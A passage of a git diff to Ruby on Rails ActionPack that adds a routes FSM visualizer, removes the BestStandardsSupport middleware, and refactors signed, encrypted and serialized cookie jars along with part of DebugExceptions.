index 0000000000..403e16a7bb
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/visualizer/fsm.css
@@ -0,0 +1,30 @@
+body {
+ font-family: "Helvetica Neue", Helvetica, Arial, Sans-Serif;
+ margin: 0;
+}
+
+h1 {
+ font-size: 2.0em; font-weight: bold; text-align: center;
+ color: white; background-color: black;
+ padding: 5px 0;
+ margin: 0 0 20px;
+}
+
+h2 {
+ text-align: center;
+ display: none;
+ font-size: 0.5em;
+}
+
+.clearfix {display: inline-block; }
+.input { overflow: show;}
+.instruction { color: #666; padding: 0 30px 20px; font-size: 0.9em}
+.instruction p { padding: 0 0 5px; }
+.instruction li { padding: 0 10px 5px; }
+
+.form { background: #EEE; padding: 20px 30px; border-radius: 5px; margin-left: auto; margin-right: auto; width: 500px; margin-bottom: 20px}
+.form p, .form form { text-align: center }
+.form form {padding: 0 10px 5px; }
+.form .fun_routes { font-size: 0.9em;}
+.form .fun_routes a { margin: 0 5px 0 0; }
+
diff --git a/actionpack/lib/action_dispatch/journey/visualizer/fsm.js b/actionpack/lib/action_dispatch/journey/visualizer/fsm.js
new file mode 100644
index 0000000000..d9bcaef928
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/visualizer/fsm.js
@@ -0,0 +1,134 @@
+function tokenize(input, callback) {
+ while(input.length > 0) {
+ callback(input.match(/^[\/\.\?]|[^\/\.\?]+/)[0]);
+ input = input.replace(/^[\/\.\?]|[^\/\.\?]+/, '');
+ }
+}
+
+var graph = d3.select("#chart-2 svg");
+var svg_edges = {};
+var svg_nodes = {};
+
+graph.selectAll("g.edge").each(function() {
+ var node = d3.select(this);
+ var index = node.select("title").text().split("->");
+ var left = parseInt(index[0]);
+ var right = parseInt(index[1]);
+
+ if(!svg_edges[left]) { svg_edges[left] = {} }
+ svg_edges[left][right] = node;
+});
+
+graph.selectAll("g.node").each(function() {
+ var node = d3.select(this);
+ var index = parseInt(node.select("title").text());
+ svg_nodes[index] = node;
+});
+
+function reset_graph() {
+ for(var key in svg_edges) {
+ for(var mkey in svg_edges[key]) {
+ var node = svg_edges[key][mkey];
+ var path = node.select("path");
+ var arrow = node.select("polygon");
+ path.style("stroke", "black");
+ arrow.style("stroke", "black").style("fill", "black");
+ }
+ }
+
+ for(var key in svg_nodes) {
+ var node = svg_nodes[key];
+ node.select('ellipse').style("fill", "white");
+ node.select('polygon').style("fill", "white");
+ }
+ return false;
+}
+
+function highlight_edge(from, to) {
+ var node = svg_edges[from][to];
+ var path = node.select("path");
+ var arrow = node.select("polygon");
+
+ path
+ .transition().duration(500)
+ .style("stroke", "green");
+
+ arrow
+ .transition().duration(500)
+ .style("stroke", "green").style("fill", "green");
+}
+
+function highlight_state(index, color) {
+ if(!color) { color = "green"; }
+
+ svg_nodes[index].select('ellipse')
+ .style("fill", "white")
+ .transition().duration(500)
+ .style("fill", color);
+}
+
+function highlight_finish(index) {
+ svg_nodes[index].select('polygon')
+ .style("fill", "while")
+ .transition().duration(500)
+ .style("fill", "blue");
+}
+
+function match(input) {
+ reset_graph();
+ var table = tt();
+ var states = [0];
+ var regexp_states = table['regexp_states'];
+ var string_states = table['string_states'];
+ var accepting = table['accepting'];
+
+ highlight_state(0);
+
+ tokenize(input, function(token) {
+ var new_states = [];
+ for(var key in states) {
+ var state = states[key];
+
+ if(string_states[state] && string_states[state][token]) {
+ var new_state = string_states[state][token];
+ highlight_edge(state, new_state);
+ highlight_state(new_state);
+ new_states.push(new_state);
+ }
+
+ if(regexp_states[state]) {
+ for(var key in regexp_states[state]) {
+ var re = new RegExp("^" + key + "$");
+ if(re.test(token)) {
+ var new_state = regexp_states[state][key];
+ highlight_edge(state, new_state);
+ highlight_state(new_state);
+ new_states.push(new_state);
+ }
+ }
+ }
+ }
+
+ if(new_states.length == 0) {
+ return;
+ }
+ states = new_states;
+ });
+
+ for(var key in states) {
+ var state = states[key];
+ if(accepting[state]) {
+ for(var mkey in svg_edges[state]) {
+ if(!regexp_states[mkey] && !string_states[mkey]) {
+ highlight_edge(state, mkey);
+ highlight_finish(mkey);
+ }
+ }
+ } else {
+ highlight_state(state, "red");
+ }
+ }
+
+ return false;
+}
+
diff --git a/actionpack/lib/action_dispatch/journey/visualizer/index.html.erb b/actionpack/lib/action_dispatch/journey/visualizer/index.html.erb
new file mode 100644
index 0000000000..9b28a65200
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/visualizer/index.html.erb
@@ -0,0 +1,52 @@
+<!DOCTYPE html>
+<html>
+ <head>
+ <title><%= title %></title>
+ <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.css" type="text/css">
+ <style>
+ <% stylesheets.each do |style| %>
+ <%= style %>
+ <% end %>
+ </style>
+ <script src="https://cdnjs.cloudflare.com/ajax/libs/d3/3.4.8/d3.min.js" type="text/javascript"></script>
+ </head>
+ <body>
+ <div id="wrapper">
+ <h1>Routes FSM with NFA simulation</h1>
+ <div class="instruction form">
+ <p>
+ Type a route in to the box and click "simulate".
+ </p>
+ <form onsubmit="return match(this.route.value);">
+ <input type="text" size="30" name="route" value="/articles/new" />
+ <button>simulate</button>
+ <input type="reset" value="reset" onclick="return reset_graph();"/>
+ </form>
+ <p class="fun_routes">
+ Some fun routes to try:
+ <% fun_routes.each do |path| %>
+ <a href="#" onclick="document.forms[0].elements[0].value=this.text.replace(/^\s+|\s+$/g,''); return match(this.text.replace(/^\s+|\s+$/g,''));">
+ <%= path %>
+ </a>
+ <% end %>
+ </p>
+ </div>
+ <div class='chart' id='chart-2'>
+ <%= svg %>
+ </div>
+ <div class="instruction">
+ <p>
+ This is a FSM for a system that has the following routes:
+ </p>
+ <ul>
+ <% paths.each do |route| %>
+ <li><%= route %></li>
+ <% end %>
+ </ul>
+ </div>
+ </div>
+ <% javascripts.each do |js| %>
+ <script><%= js %></script>
+ <% end %>
+ </body>
+</html>
diff --git a/actionpack/lib/action_dispatch/middleware/best_standards_support.rb b/actionpack/lib/action_dispatch/middleware/best_standards_support.rb
deleted file mode 100644
index d338996240..0000000000
--- a/actionpack/lib/action_dispatch/middleware/best_standards_support.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-module ActionDispatch
- class BestStandardsSupport
- def initialize(app, type = true)
- @app = app
-
- @header = case type
- when true
- "IE=Edge,chrome=1"
- when :builtin
- "IE=Edge"
- when false
- nil
- end
- end
-
- def call(env)
- status, headers, body = @app.call(env)
-
- if headers["X-UA-Compatible"] && @header
- headers["X-UA-Compatible"] << "," << @header.to_s
- else
- headers["X-UA-Compatible"] = @header
- end
-
- [status, headers, body]
- end
- end
-end
diff --git a/actionpack/lib/action_dispatch/middleware/callbacks.rb b/actionpack/lib/action_dispatch/middleware/callbacks.rb
index 852f1cf6f5..f80df78582 100644
--- a/actionpack/lib/action_dispatch/middleware/callbacks.rb
+++ b/actionpack/lib/action_dispatch/middleware/callbacks.rb
@@ -1,6 +1,6 @@
module ActionDispatch
- # Provide callbacks to be executed before and after the request dispatch.
+ # Provides callbacks to be executed before and after dispatching the request.
class Callbacks
include ActiveSupport::Callbacks
@@ -8,14 +8,14 @@ module ActionDispatch
class << self
delegate :to_prepare, :to_cleanup, :to => "ActionDispatch::Reloader"
- end
- def self.before(*args, &block)
- set_callback(:call, :before, *args, &block)
- end
+ def before(*args, &block)
+ set_callback(:call, :before, *args, &block)
+ end
- def self.after(*args, &block)
- set_callback(:call, :after, *args, &block)
+ def after(*args, &block)
+ set_callback(:call, :after, *args, &block)
+ end
end
def initialize(app)
diff --git a/actionpack/lib/action_dispatch/middleware/cookies.rb b/actionpack/lib/action_dispatch/middleware/cookies.rb
index f2d3e93aff..8ec05dee70 100644
--- a/actionpack/lib/action_dispatch/middleware/cookies.rb
+++ b/actionpack/lib/action_dispatch/middleware/cookies.rb
@@ -1,6 +1,9 @@
require 'active_support/core_ext/hash/keys'
require 'active_support/core_ext/module/attribute_accessors'
+require 'active_support/core_ext/object/blank'
+require 'active_support/key_generator'
require 'active_support/message_verifier'
+require 'active_support/json'
module ActionDispatch
class Request < Rack::Request
@@ -15,21 +18,21 @@ module ActionDispatch
# being written will be sent out with the response. Reading a cookie does not get
# the cookie object itself back, just the value it holds.
#
- # Examples for writing:
+ # Examples of writing:
#
# # Sets a simple session cookie.
# # This cookie will be deleted when the user's browser is closed.
# cookies[:user_name] = "david"
#
- # # Assign an array of values to a cookie.
- # cookies[:lat_lon] = [47.68, -122.37]
+ # # Cookie values are String based. Other data types need to be serialized.
+ # cookies[:lat_lon] = JSON.generate([47.68, -122.37])
#
# # Sets a cookie that expires in 1 hour.
# cookies[:login] = { value: "XJ-122", expires: 1.hour.from_now }
#
# # Sets a signed cookie, which prevents users from tampering with its value.
- # # The cookie is signed by your app's <tt>config.secret_key_base</tt> value.
- # # It can be read using the signed method <tt>cookies.signed[:key]</tt>
+ # # The cookie is signed by your app's `secrets.secret_key_base` value.
+ # # It can be read using the signed method `cookies.signed[:name]`
# cookies.signed[:user_id] = current_user.id
#
# # Sets a "permanent" cookie (which expires in 20 years from now).
@@ -38,12 +41,12 @@ module ActionDispatch
# # You can also chain these methods:
# cookies.permanent.signed[:login] = "XJ-122"
#
- # Examples for reading:
+ # Examples of reading:
#
- # cookies[:user_name] # => "david"
- # cookies.size # => 2
- # cookies[:lat_lon] # => [47.68, -122.37]
- # cookies.signed[:login] # => "XJ-122"
+ # cookies[:user_name] # => "david"
+ # cookies.size # => 2
+ # JSON.parse(cookies[:lat_lon]) # => [47.68, -122.37]
+ # cookies.signed[:login] # => "XJ-122"
#
# Example for deleting:
#
@@ -51,31 +54,33 @@ module ActionDispatch
#
# Please note that if you specify a :domain when setting a cookie, you must also specify the domain when deleting the cookie:
#
- # cookies[:key] = {
+ # cookies[:name] = {
# value: 'a yummy cookie',
# expires: 1.year.from_now,
# domain: 'domain.com'
# }
#
- # cookies.delete(:key, domain: 'domain.com')
+ # cookies.delete(:name, domain: 'domain.com')
#
# The option symbols for setting cookies are:
#
- # * <tt>:value</tt> - The cookie's value or list of values (as an array).
+ # * <tt>:value</tt> - The cookie's value.
# * <tt>:path</tt> - The path for which this cookie applies. Defaults to the root
# of the application.
# * <tt>:domain</tt> - The domain for which this cookie applies so you can
# restrict to the domain level. If you use a schema like www.example.com
# and want to share session with user.example.com set <tt>:domain</tt>
# to <tt>:all</tt>. Make sure to specify the <tt>:domain</tt> option with
- # <tt>:all</tt> again when deleting keys.
+ # <tt>:all</tt> or <tt>Array</tt> again when deleting cookies.
#
# domain: nil # Does not sets cookie domain. (default)
# domain: :all # Allow the cookie for the top most level
- # domain and subdomains.
+ # # domain and subdomains.
+ # domain: %w(.example.com .example.org) # Allow the cookie
+ # # for concrete domain names.
#
# * <tt>:expires</tt> - The time at which this cookie expires, as a \Time object.
- # * <tt>:secure</tt> - Whether this cookie is a only transmitted to HTTPS servers.
+ # * <tt>:secure</tt> - Whether this cookie is only transmitted to HTTPS servers.
# Default is +false+.
# * <tt>:httponly</tt> - Whether this cookie is accessible via scripting or
# only HTTP. Defaults to +false+.
@@ -85,13 +90,114 @@ module ActionDispatch
SIGNED_COOKIE_SALT = "action_dispatch.signed_cookie_salt".freeze
ENCRYPTED_COOKIE_SALT = "action_dispatch.encrypted_cookie_salt".freeze
ENCRYPTED_SIGNED_COOKIE_SALT = "action_dispatch.encrypted_signed_cookie_salt".freeze
- TOKEN_KEY = "action_dispatch.secret_token".freeze
+ SECRET_TOKEN = "action_dispatch.secret_token".freeze
+ SECRET_KEY_BASE = "action_dispatch.secret_key_base".freeze
+ COOKIES_SERIALIZER = "action_dispatch.cookies_serializer".freeze
+ COOKIES_DIGEST = "action_dispatch.cookies_digest".freeze
+
+ # Cookies can typically store 4096 bytes.
+ MAX_COOKIE_SIZE = 4096
# Raised when storing more than 4K of session data.
CookieOverflow = Class.new StandardError
+ # Include in a cookie jar to allow chaining, e.g. cookies.permanent.signed
+ module ChainedCookieJars
+ # Returns a jar that'll automatically set the assigned cookies to have an expiration date 20 years from now. Example:
+ #
+ # cookies.permanent[:prefers_open_id] = true
+ # # => Set-Cookie: prefers_open_id=true; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
+ #
+ # This jar is only meant for writing. You'll read permanent cookies through the regular accessor.
+ #
+ # This jar allows chaining with the signed jar as well, so you can set permanent, signed cookies. Examples:
+ #
+ # cookies.permanent.signed[:remember_me] = current_user.id
+ # # => Set-Cookie: remember_me=BAhU--848956038e692d7046deab32b7131856ab20e14e; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
+ def permanent
+ @permanent ||= PermanentCookieJar.new(self, @key_generator, @options)
+ end
+
+ # Returns a jar that'll automatically generate a signed representation of cookie value and verify it when reading from
+ # the cookie again. This is useful for creating cookies with values that the user is not supposed to change. If a signed
+ # cookie was tampered with by the user (or a 3rd party), nil will be returned.
+ #
+ # If +secrets.secret_key_base+ and +secrets.secret_token+ (deprecated) are both set,
+ # legacy cookies signed with the old key generator will be transparently upgraded.
+ #
+ # This jar requires that you set a suitable secret for the verification on your app's +secrets.secret_key_base+.
+ #
+ # Example:
+ #
+ # cookies.signed[:discount] = 45
+ # # => Set-Cookie: discount=BAhpMg==--2c1c6906c90a3bc4fd54a51ffb41dffa4bf6b5f7; path=/
+ #
+ # cookies.signed[:discount] # => 45
+ def signed
+ @signed ||=
+ if @options[:upgrade_legacy_signed_cookies]
+ UpgradeLegacySignedCookieJar.new(self, @key_generator, @options)
+ else
+ SignedCookieJar.new(self, @key_generator, @options)
+ end
+ end
+
+ # Returns a jar that'll automatically encrypt cookie values before sending them to the client and will decrypt them for read.
+ # If the cookie was tampered with by the user (or a 3rd party), nil will be returned.
+ #
+ # If +secrets.secret_key_base+ and +secrets.secret_token+ (deprecated) are both set,
+ # legacy cookies signed with the old key generator will be transparently upgraded.
+ #
+ # This jar requires that you set a suitable secret for the verification on your app's +secrets.secret_key_base+.
+ #
+ # Example:
+ #
+ # cookies.encrypted[:discount] = 45
+ # # => Set-Cookie: discount=ZS9ZZ1R4cG1pcUJ1bm80anhQang3dz09LS1mbDZDSU5scGdOT3ltQ2dTdlhSdWpRPT0%3D--ab54663c9f4e3bc340c790d6d2b71e92f5b60315; path=/
+ #
+ # cookies.encrypted[:discount] # => 45
+ def encrypted
+ @encrypted ||=
+ if @options[:upgrade_legacy_signed_cookies]
+ UpgradeLegacyEncryptedCookieJar.new(self, @key_generator, @options)
+ else
+ EncryptedCookieJar.new(self, @key_generator, @options)
+ end
+ end
+
+ # Returns the +signed+ or +encrypted+ jar, preferring +encrypted+ if +secret_key_base+ is set.
+ # Used by ActionDispatch::Session::CookieStore to avoid the need to introduce new cookie stores.
+ def signed_or_encrypted
+ @signed_or_encrypted ||=
+ if @options[:secret_key_base].present?
+ encrypted
+ else
+ signed
+ end
+ end
+ end
+
+ # Passing the ActiveSupport::MessageEncryptor::NullSerializer downstream
+ # to the Message{Encryptor,Verifier} allows us to handle the
+ # (de)serialization step within the cookie jar, which gives us the
+ # opportunity to detect and migrate legacy cookies.
+ module VerifyAndUpgradeLegacySignedMessage
+ def initialize(*args)
+ super
+ @legacy_verifier = ActiveSupport::MessageVerifier.new(@options[:secret_token], serializer: ActiveSupport::MessageEncryptor::NullSerializer)
+ end
+
+ def verify_and_upgrade_legacy_signed_message(name, signed_message)
+ deserialize(name, @legacy_verifier.verify(signed_message)).tap do |value|
+ self[name] = { value: value }
+ end
+ rescue ActiveSupport::MessageVerifier::InvalidSignature
+ nil
+ end
+ end
+
class CookieJar #:nodoc:
- include Enumerable
+ include Enumerable, ChainedCookieJars
# This regular expression is used to split the levels of a domain.
# The top level domain can be any string without a period or
@@ -107,13 +213,22 @@ module ActionDispatch
# $& => example.local
DOMAIN_REGEXP = /[^.]*\.([^.]*|..\...|...\...)$/
+ def self.options_for_env(env) #:nodoc:
+ { signed_cookie_salt: env[SIGNED_COOKIE_SALT] || '',
+ encrypted_cookie_salt: env[ENCRYPTED_COOKIE_SALT] || '',
+ encrypted_signed_cookie_salt: env[ENCRYPTED_SIGNED_COOKIE_SALT] || '',
+ secret_token: env[SECRET_TOKEN],
+ secret_key_base: env[SECRET_KEY_BASE],
+ upgrade_legacy_signed_cookies: env[SECRET_TOKEN].present? && env[SECRET_KEY_BASE].present?,
+ serializer: env[COOKIES_SERIALIZER],
+ digest: env[COOKIES_DIGEST]
+ }
+ end
+
def self.build(request)
env = request.env
key_generator = env[GENERATOR_KEY]
- options = { signed_cookie_salt: env[SIGNED_COOKIE_SALT],
- encrypted_cookie_salt: env[ENCRYPTED_COOKIE_SALT],
- encrypted_signed_cookie_salt: env[ENCRYPTED_SIGNED_COOKIE_SALT],
- token_key: env[TOKEN_KEY] }
+ options = options_for_env env
host = request.host
secure = request.ssl?
@@ -131,6 +246,15 @@ module ActionDispatch
@secure = secure
@options = options
@cookies = {}
+ @committed = false
+ end
+
+ def committed?; @committed; end
+
+ def commit!
+ @committed = true
+ @set_cookies.freeze
+ @delete_cookies.freeze
end
def each(&block)
@@ -142,6 +266,10 @@ module ActionDispatch
@cookies[name.to_s]
end
+ def fetch(name, *args, &block)
+ @cookies.fetch(name.to_s, *args, &block)
+ end
+
def key?(name)
@cookies.key?(name.to_s)
end
@@ -170,9 +298,9 @@ module ActionDispatch
end
end
- # Sets the cookie named +name+. The second argument may be the very cookie
- # value, or a hash of options as documented above.
- def []=(key, options)
+ # Sets the cookie named +name+. The second argument may be the cookie's
+ # value or a hash of options as documented above.
+ def []=(name, options)
if options.is_a?(Hash)
options.symbolize_keys!
value = options[:value]
@@ -183,36 +311,36 @@ module ActionDispatch
handle_options(options)
- if @cookies[key.to_s] != value or options[:expires]
- @cookies[key.to_s] = value
- @set_cookies[key.to_s] = options
- @delete_cookies.delete(key.to_s)
+ if @cookies[name.to_s] != value or options[:expires]
+ @cookies[name.to_s] = value
+ @set_cookies[name.to_s] = options
+ @delete_cookies.delete(name.to_s)
end
value
end
# Removes the cookie on the client machine by setting the value to an empty string
- # and setting its expiration date into the past. Like <tt>[]=</tt>, you can pass in
+ # and the expiration date in the past. Like <tt>[]=</tt>, you can pass in
# an options hash to delete cookies with extra data such as a <tt>:path</tt>.
- def delete(key, options = {})
- return unless @cookies.has_key? key.to_s
+ def delete(name, options = {})
+ return unless @cookies.has_key? name.to_s
options.symbolize_keys!
handle_options(options)
- value = @cookies.delete(key.to_s)
- @delete_cookies[key.to_s] = options
+ value = @cookies.delete(name.to_s)
+ @delete_cookies[name.to_s] = options
value
end
# Whether the given cookie is to be deleted by this CookieJar.
# Like <tt>[]=</tt>, you can pass in an options hash to test if a
# deletion applies to a specific <tt>:path</tt>, <tt>:domain</tt> etc.
- def deleted?(key, options = {})
+ def deleted?(name, options = {})
options.symbolize_keys!
handle_options(options)
- @delete_cookies[key.to_s] == options
+ @delete_cookies[name.to_s] == options
end
# Removes all cookies on the client machine by calling <tt>delete</tt> for each cookie
@@ -220,87 +348,39 @@ module ActionDispatch
@cookies.each_key{ |k| delete(k, options) }
end
- # Returns a jar that'll automatically set the assigned cookies to have an expiration date 20 years from now. Example:
- #
- # cookies.permanent[:prefers_open_id] = true
- # # => Set-Cookie: prefers_open_id=true; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
- #
- # This jar is only meant for writing. You'll read permanent cookies through the regular accessor.
- #
- # This jar allows chaining with the signed jar as well, so you can set permanent, signed cookies. Examples:
- #
- # cookies.permanent.signed[:remember_me] = current_user.id
- # # => Set-Cookie: remember_me=BAhU--848956038e692d7046deab32b7131856ab20e14e; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
- def permanent
- @permanent ||= PermanentCookieJar.new(self, @key_generator, @options)
- end
-
- # Returns a jar that'll automatically generate a signed representation of cookie value and verify it when reading from
- # the cookie again. This is useful for creating cookies with values that the user is not supposed to change. If a signed
- # cookie was tampered with by the user (or a 3rd party), an ActiveSupport::MessageVerifier::InvalidSignature exception will
- # be raised.
- #
- # This jar requires that you set a suitable secret for the verification on your app's +config.secret_key_base+.
- #
- # Example:
- #
- # cookies.signed[:discount] = 45
- # # => Set-Cookie: discount=BAhpMg==--2c1c6906c90a3bc4fd54a51ffb41dffa4bf6b5f7; path=/
- #
- # cookies.signed[:discount] # => 45
- def signed
- @signed ||= SignedCookieJar.new(self, @key_generator, @options)
- end
-
- # Only needed for supporting the +UpgradeSignatureToEncryptionCookieStore+, users and plugin authors should not use this
- def signed_using_old_secret #:nodoc:
- @signed_using_old_secret ||= SignedCookieJar.new(self, ActiveSupport::DummyKeyGenerator.new(@options[:token_key]), @options)
- end
-
- # Returns a jar that'll automatically encrypt cookie values before sending them to the client and will decrypt them for read.
- # If the cookie was tampered with by the user (or a 3rd party), an ActiveSupport::MessageVerifier::InvalidSignature exception
- # will be raised.
- #
- # This jar requires that you set a suitable secret for the verification on your app's +config.secret_key_base+.
- #
- # Example:
- #
- # cookies.encrypted[:discount] = 45
- # # => Set-Cookie: discount=ZS9ZZ1R4cG1pcUJ1bm80anhQang3dz09LS1mbDZDSU5scGdOT3ltQ2dTdlhSdWpRPT0%3D--ab54663c9f4e3bc340c790d6d2b71e92f5b60315; path=/
- #
- # cookies.encrypted[:discount] # => 45
- def encrypted
- @encrypted ||= EncryptedCookieJar.new(self, @key_generator, @options)
- end
-
def write(headers)
@set_cookies.each { |k, v| ::Rack::Utils.set_cookie_header!(headers, k, v) if write_cookie?(v) }
@delete_cookies.each { |k, v| ::Rack::Utils.delete_cookie_header!(headers, k, v) }
end
def recycle! #:nodoc:
- @set_cookies.clear
- @delete_cookies.clear
+ @set_cookies = {}
+ @delete_cookies = {}
end
mattr_accessor :always_write_cookie
self.always_write_cookie = false
private
-
def write_cookie?(cookie)
@secure || !cookie[:secure] || always_write_cookie
end
end
- class PermanentCookieJar < CookieJar #:nodoc:
+ class PermanentCookieJar #:nodoc:
+ include ChainedCookieJars
+
def initialize(parent_jar, key_generator, options = {})
@parent_jar = parent_jar
@key_generator = key_generator
@options = options
end
- def []=(key, options)
+ def [](name)
+ @parent_jar[name.to_s]
+ end
+
+ def []=(name, options)
if options.is_a?(Hash)
options.symbolize_keys!
else
@@ -308,82 +388,167 @@ module ActionDispatch
end
options[:expires] = 20.years.from_now
- @parent_jar[key] = options
+ @parent_jar[name] = options
end
+ end
- def method_missing(method, *arguments, &block)
- @parent_jar.send(method, *arguments, &block)
+ class JsonSerializer
+ def self.load(value)
+ ActiveSupport::JSON.decode(value)
end
+
+ def self.dump(value)
+ ActiveSupport::JSON.encode(value)
+ end
+ end
+
+ module SerializedCookieJars
+ MARSHAL_SIGNATURE = "\x04\x08".freeze
+
+ protected
+ def needs_migration?(value)
+ @options[:serializer] == :hybrid && value.start_with?(MARSHAL_SIGNATURE)
+ end
+
+ def serialize(name, value)
+ serializer.dump(value)
+ end
+
+ def deserialize(name, value)
+ if value
+ if needs_migration?(value)
+ Marshal.load(value).tap do |v|
+ self[name] = { value: v }
+ end
+ else
+ serializer.load(value)
+ end
+ end
+ end
+
+ def serializer
+ serializer = @options[:serializer] || :marshal
+ case serializer
+ when :marshal
+ Marshal
+ when :json, :hybrid
+ JsonSerializer
+ else
+ serializer
+ end
+ end
+
+ def digest
+ @options[:digest] || 'SHA1'
+ end
end
- class SignedCookieJar < CookieJar #:nodoc:
- MAX_COOKIE_SIZE = 4096 # Cookies can typically store 4096 bytes.
+ class SignedCookieJar #:nodoc:
+ include ChainedCookieJars
+ include SerializedCookieJars
def initialize(parent_jar, key_generator, options = {})
@parent_jar = parent_jar
@options = options
secret = key_generator.generate_key(@options[:signed_cookie_salt])
- @verifier = ActiveSupport::MessageVerifier.new(secret)
+ @verifier = ActiveSupport::MessageVerifier.new(secret, digest: digest, serializer: ActiveSupport::MessageEncryptor::NullSerializer)
end
def [](name)
if signed_message = @parent_jar[name]
- @verifier.verify(signed_message)
+ deserialize name, verify(signed_message)
end
- rescue ActiveSupport::MessageVerifier::InvalidSignature
- nil
end
- def []=(key, options)
+ def []=(name, options)
if options.is_a?(Hash)
options.symbolize_keys!
- options[:value] = @verifier.generate(options[:value])
+ options[:value] = @verifier.generate(serialize(name, options[:value]))
else
- options = { :value => @verifier.generate(options) }
+ options = { :value => @verifier.generate(serialize(name, options)) }
end
- raise CookieOverflow if options[:value].size > MAX_COOKIE_SIZE
- @parent_jar[key] = options
+ raise CookieOverflow if options[:value].bytesize > MAX_COOKIE_SIZE
+ @parent_jar[name] = options
end
- def method_missing(method, *arguments, &block)
- @parent_jar.send(method, *arguments, &block)
+ private
+ def verify(signed_message)
+ @verifier.verify(signed_message)
+ rescue ActiveSupport::MessageVerifier::InvalidSignature
+ nil
+ end
+ end
+
+ # UpgradeLegacySignedCookieJar is used instead of SignedCookieJar if
+ # secrets.secret_token and secrets.secret_key_base are both set. It reads
+ # legacy cookies signed with the old dummy key generator and re-saves
+ # them using the new key generator to provide a smooth upgrade path.
+ class UpgradeLegacySignedCookieJar < SignedCookieJar #:nodoc:
+ include VerifyAndUpgradeLegacySignedMessage
+
+ def [](name)
+ if signed_message = @parent_jar[name]
+ deserialize(name, verify(signed_message)) || verify_and_upgrade_legacy_signed_message(name, signed_message)
+ end
end
end
- class EncryptedCookieJar < SignedCookieJar #:nodoc:
+ class EncryptedCookieJar #:nodoc:
+ include ChainedCookieJars
+ include SerializedCookieJars
+
def initialize(parent_jar, key_generator, options = {})
- if ActiveSupport::DummyKeyGenerator === key_generator
- raise "Encrypted Cookies must be used in conjunction with config.secret_key_base." +
- "Set config.secret_key_base in config/initializers/secret_token.rb"
+ if ActiveSupport::LegacyKeyGenerator === key_generator
+ raise "You didn't set secrets.secret_key_base, which is required for this cookie jar. " +
+ "Read the upgrade documentation to learn more about this new config option."
end
@parent_jar = parent_jar
@options = options
secret = key_generator.generate_key(@options[:encrypted_cookie_salt])
sign_secret = key_generator.generate_key(@options[:encrypted_signed_cookie_salt])
- @encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret)
+ @encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, digest: digest, serializer: ActiveSupport::MessageEncryptor::NullSerializer)
end
def [](name)
if encrypted_message = @parent_jar[name]
- @encryptor.decrypt_and_verify(encrypted_message)
+ deserialize name, decrypt_and_verify(encrypted_message)
end
- rescue ActiveSupport::MessageVerifier::InvalidSignature,
- ActiveSupport::MessageVerifier::InvalidMessage
- nil
end
- def []=(key, options)
+ def []=(name, options)
if options.is_a?(Hash)
options.symbolize_keys!
else
options = { :value => options }
end
- options[:value] = @encryptor.encrypt_and_sign(options[:value])
- raise CookieOverflow if options[:value].size > MAX_COOKIE_SIZE
- @parent_jar[key] = options
+ options[:value] = @encryptor.encrypt_and_sign(serialize(name, options[:value]))
+
+ raise CookieOverflow if options[:value].bytesize > MAX_COOKIE_SIZE
+ @parent_jar[name] = options
+ end
+
+ private
+ def decrypt_and_verify(encrypted_message)
+ @encryptor.decrypt_and_verify(encrypted_message)
+ rescue ActiveSupport::MessageVerifier::InvalidSignature, ActiveSupport::MessageEncryptor::InvalidMessage
+ nil
+ end
+ end
+
+ # UpgradeLegacyEncryptedCookieJar is used by ActionDispatch::Session::CookieStore
+ # instead of EncryptedCookieJar if secrets.secret_token and secrets.secret_key_base
+ # are both set. It reads legacy cookies signed with the old dummy key generator and
+ # encrypts and re-saves them using the new key generator to provide a smooth upgrade path.
+ class UpgradeLegacyEncryptedCookieJar < EncryptedCookieJar #:nodoc:
+ include VerifyAndUpgradeLegacySignedMessage
+
+ def [](name)
+ if encrypted_or_signed_message = @parent_jar[name]
+ deserialize(name, decrypt_and_verify(encrypted_or_signed_message)) || verify_and_upgrade_legacy_signed_message(name, encrypted_or_signed_message)
+ end
end
end
@@ -395,9 +560,11 @@ module ActionDispatch
status, headers, body = @app.call(env)
if cookie_jar = env['action_dispatch.cookies']
- cookie_jar.write(headers)
- if headers[HTTP_HEADER].respond_to?(:join)
- headers[HTTP_HEADER] = headers[HTTP_HEADER].join("\n")
+ unless cookie_jar.committed?
+ cookie_jar.write(headers)
+ if headers[HTTP_HEADER].respond_to?(:join)
+ headers[HTTP_HEADER] = headers[HTTP_HEADER].join("\n")
+ end
end
end
diff --git a/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb b/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb
index 0f0589a844..9082aac271 100644
--- a/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb
+++ b/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb
@@ -1,13 +1,42 @@
require 'action_dispatch/http/request'
require 'action_dispatch/middleware/exception_wrapper'
require 'action_dispatch/routing/inspector'
+require 'action_view'
+require 'action_view/base'
+require 'pp'
module ActionDispatch
# This middleware is responsible for logging exceptions and
# showing a debugging page in case the request is local.
class DebugExceptions
- RESCUES_TEMPLATE_PATH = File.join(File.dirname(__FILE__), 'templates')
+ RESCUES_TEMPLATE_PATH = File.expand_path('../templates', __FILE__)
+
+ class DebugView < ActionView::Base
+ def debug_params(params)
+ clean_params = params.clone
+ clean_params.delete("action")
+ clean_params.delete("controller")
+
+ if clean_params.empty?
+ 'None'
+ else
+ PP.pp(clean_params, "", 200)
+ end
+ end
+
+ def debug_headers(headers)
+ if headers.present?
+ headers.inspect.gsub(',', ",\n")
+ else
+ 'None'
+ end
+ end
+
+ def debug_hash(object)
+ object.to_hash.sort_by { |k, _| k.to_s }.map { |k, v| "#{k}: #{v.inspect rescue $!.message}" }.join("\n")
+ end
+ end
def initialize(app, routes_app = nil)
@app = app
@@ -15,19 +44,17 @@ module ActionDispatch
end
def call(env)
- begin
- response = @app.call(env)
+ _, headers, body = response = @app.call(env)
- if response[1]['X-Cascade'] == 'pass'
- body = response[2]
- body.close if body.respond_to?(:close)
